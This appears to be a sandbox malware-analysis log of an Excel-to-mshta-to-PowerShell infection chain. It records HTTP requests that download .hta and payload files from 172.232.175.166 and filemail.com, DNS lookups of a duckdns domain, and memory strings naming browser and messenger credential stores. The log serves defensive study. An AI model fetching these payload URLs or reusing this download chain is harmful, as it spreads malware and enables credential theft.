                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_000007FE89647018 URLDownloadToFileW,8_2_000007FE89647018
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F56AE008.emfJump to behavior
                Source: global trafficHTTP traffic detected: GET /fWsm?&lynx=wicked&calm=uninterested&venezuelan=tall&alibi=victorious&postage=round&plaster HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: ljg.clConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /fWsm?&lynx=wicked&calm=uninterested&venezuelan=tall&alibi=victorious&postage=round&plaster HTTP/1.1Accept: */*Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: ljg.clConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /fWsm?&lynx=wicked&calm=uninterested&venezuelan=tall&alibi=victorious&postage=round&plaster HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: ljg.clConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /fWsm?&lynx=wicked&calm=uninterested&venezuelan=tall&alibi=victorious&postage=round&plaster HTTP/1.1Accept: */*Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: ljg.clConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /api/file/get?filekey=OF0gFcxMQCUwPYleTyb2Yh9aBTpRl9_K_LOoTKArK4ipMrH8N0jibXrPYJoFvjqaK50qGw&track=krUNywEJ&skipreg=true&pk_vid=a6a926643893714e17327089141d9432 HTTP/1.1Host: 3012.filemail.comConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /api/file/get?filekey=OF0gFcxMQCUwPYleTyb2Yh9aBTpRl9_K_LOoTKArK4ipMrH8N0jibXrPYJoFvjqaK50qGw&track=krUNywEJ&skipreg=true&pk_vid=a6a926643893714e17327089141d9432 HTTP/1.1Host: 3012.filemail.comConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /809/ce/createdgoodthingsfor.hta HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 172.232.175.166Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /809/ce/createdgoodthingsfor.hta HTTP/1.1Accept: */*Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 172.232.175.166If-Range: "26e08-627f297054196"
                Source: global trafficHTTP traffic detected: GET /809/createdbestthignswihtentiretimegivenmebestforever.tIF HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 172.232.175.166Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /809/ce/createdgoodthingsfor.hta HTTP/1.1Accept: */*Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Thu, 28 Nov 2024 05:45:29 GMTConnection: Keep-AliveHost: 172.232.175.166If-None-Match: "26e08-627f297054196"
                Source: global trafficHTTP traffic detected: GET /809/RGFVVGF.txt HTTP/1.1Host: 172.232.175.166Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /809/RGFVVGF.txt HTTP/1.1Host: 172.232.175.166Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
                Source: bhv1B0F.tmp.30.drString found in binary or memory: Cookie:user@www.linkedin.com/ equals www.linkedin.com (Linkedin)
                Source: CasPol.exe, 00000020.00000002.556170457.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users%s\Loginprpl-msnprpl-yahooprpl-jabberprpl-novellprpl-oscarprpl-ggprpl-ircaccounts.xmlaimaim_1icqicq_1jabberjabber_1msnmsn_1yahoogggg_1http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com equals www.ebuddy.com (eBuggy)
                Source: CasPol.exe, CasPol.exe, 00000020.00000002.556170457.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.ebuddy.com equals www.ebuddy.com (eBuggy)
                Source: CasPol.exeString found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)
                Source: bhv1B0F.tmp.30.drString found in binary or memory: www.linkedin.come equals www.linkedin.com (Linkedin)
                Source: mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
                Source: CasPol.exe, 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.facebook.com (Facebook)
                Source: CasPol.exe, 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.yahoo.com (Yahoo)
                Source: global trafficDNS traffic detected: DNS query: ljg.cl
                Source: global trafficDNS traffic detected: DNS query: 3012.filemail.com
                Source: global trafficDNS traffic detected: DNS query: newbeggin.duckdns.org
                Source: global trafficDNS traffic detected: DNS query: geoplugin.net
                Source: mshta.exe, 0000000C.00000002.496633593.00000000045A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.232.175.166
                Source: mshta.exe, 00000004.00000002.450643647.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.449865050.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496633593.00000000045DE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.232.175.166/
                Source: mshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496534969.0000000003832000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.232.175.166/809/ce/createdgoodthingsfor.hta
                Source: mshta.exe, 00000004.00000002.450550068.00000000004DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496316577.000000000032A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.232.175.166/809/ce/createdgoodthingsfor.hta...
                Source: mshta.exe, 00000004.00000003.450215715.000000000054D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450550068.000000000054D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.447455517.000000000054D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000038A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.232.175.166/809/ce/createdgoodthingsfor.htaC:
                Source: mshta.exe, 00000004.00000002.450643647.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.449865050.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002B1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.232.175.166/809/ce/createdgoodthingsfor.htaP
                Source: mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.232.175.166/809/ce/createdgoodthingsfor.htaU
                Source: mshta.exe, 00000004.00000003.450215715.000000000054D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450550068.000000000054D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.447455517.000000000054D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495976520.0000000000366000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.491496618.0000000000366000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496316577.0000000000366000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.232.175.166/809/ce/createdgoodthingsfor.htaan=tall&alibi=victorious&
                Source: mshta.exe, 00000004.00000003.450022507.0000000002655000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.449704198.0000000002655000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.494417895.00000000029C5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495670880.00000000029C5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://172.232.175.166/809/ce/createdgoodthingsfor.htahttp://172.232.175.166/809/ce/createdgoodthing
                Source: mshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.232.175.166/809/ce/createdgoodthingsfor.htase
                Source: mshta.exe, 0000000C.00000003.491496618.0000000000362000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.232.175.166/809/ce/createdgoodthingsfor.htazuelan=tall
                Source: mshta.exe, 00000004.00000002.450550068.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450550068.00000000004AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496316577.00000000002FE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495976520.0000000000350000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.491496618.0000000000350000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496316577.0000000000350000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.232.175.166/809/ce/createdgoodthingsfor.htazuelan=tall&alibi=victorious&postage=round&pla
                Source: mshta.exe, 00000004.00000003.447455517.0000000000511000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.447455517.000000000053F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.232.175.166/809/ce/createdgoodthingsfor.htazuelan=tallW
                Source: powershell.exe, 00000008.00000002.483727608.0000000002504000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.502572880.00000000028E8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://172.232.175.166/809/creat
                Source: powershell.exe, 00000012.00000002.502572880.00000000028E8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://172.232.175.166/809/createdbestthignswihtentiretimegivenmebestforever.tIF
                Source: powershell.exe, 00000008.00000002.487989896.000000001C250000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.232.175.166/809/createdbestthignswihtentiretimegivenmebestforever.tIFf
                Source: powershell.exe, 00000008.00000002.483727608.0000000002504000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.502572880.00000000028E8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://172.232.175.166/809/createdbestthignswihtentiretimegivenmebestforever.tIFp
                Source: mshta.exe, 0000000C.00000002.496633593.00000000045DE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.232.175.166/=A
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://acdn.adnxs.com/ast/ast.js
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://acdn.adnxs.com/ib/static/usersync/v3/async_usersync.html
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://b.scorecardresearch.com/beacon.js
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://cache.btrll.com/default/Pix-1x1.gif
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://cdn.at.atwola.com/_media/uac/msn.html
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://cdn.taboola.com/libtrc/impl.thin.277-63-RELEASE.js
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://cdn.taboola.com/libtrc/msn-home-network/loader.js
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://cdn.taboola.com/libtrc/static/thumbnails/f539211219b796ffbb49949997c764f0.png
                Source: mshta.exe, 00000004.00000002.450643647.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.449865050.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C303000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000038A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
                Source: mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.486845757.000000001A6E9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.486845757.000000001A69F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000037DD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496534969.00000000037DD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000038A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
                Source: mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.entrust.net/2048ca.crl0
                Source: mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000038A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.entrust.net/server1.crl0
                Source: mshta.exe, 00000004.00000002.450643647.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.449865050.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.486845757.000000001A6E9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496633593.00000000045A0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000038A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
                Source: mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
                Source: mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000038A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://dis.criteo.com/dis/usersync.aspx?r=7&p=3&cp=appnexus&cu=1&url=http%3A%2F%2Fib.adnxs.com%2Fset
                Source: CasPol.exeString found in binary or memory: http://geoplugin.net/json.gp
                Source: CasPol.exe, 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp/C
                Source: powershell.exe, 00000008.00000002.487989896.000000001C3DD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://go.cr
                Source: powershell.exe, 00000008.00000002.483727608.00000000029FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.502572880.00000000028E8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://go.micros
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://ib.adnxs.com/pxj?bidder=18&seg=378601&action=setuids(
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_80%2Ch_334%2Cw_312%2Cc_fill%2Cg_faces%2Ce_sh
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_167%2Cw_312%2Cc_fill%2Cg_faces%2Ce_
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_90%2Cw_120%2Cc_fill%2Cg_faces:auto%
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA2oHEB?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA42Hq5?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA42eYr?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA42pjY?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA6K5wX?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA6pevu?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA8I0Dg?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA8uJZv?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAHxwMU?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAJhH73?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAhvyvD?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtB8UA?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jp
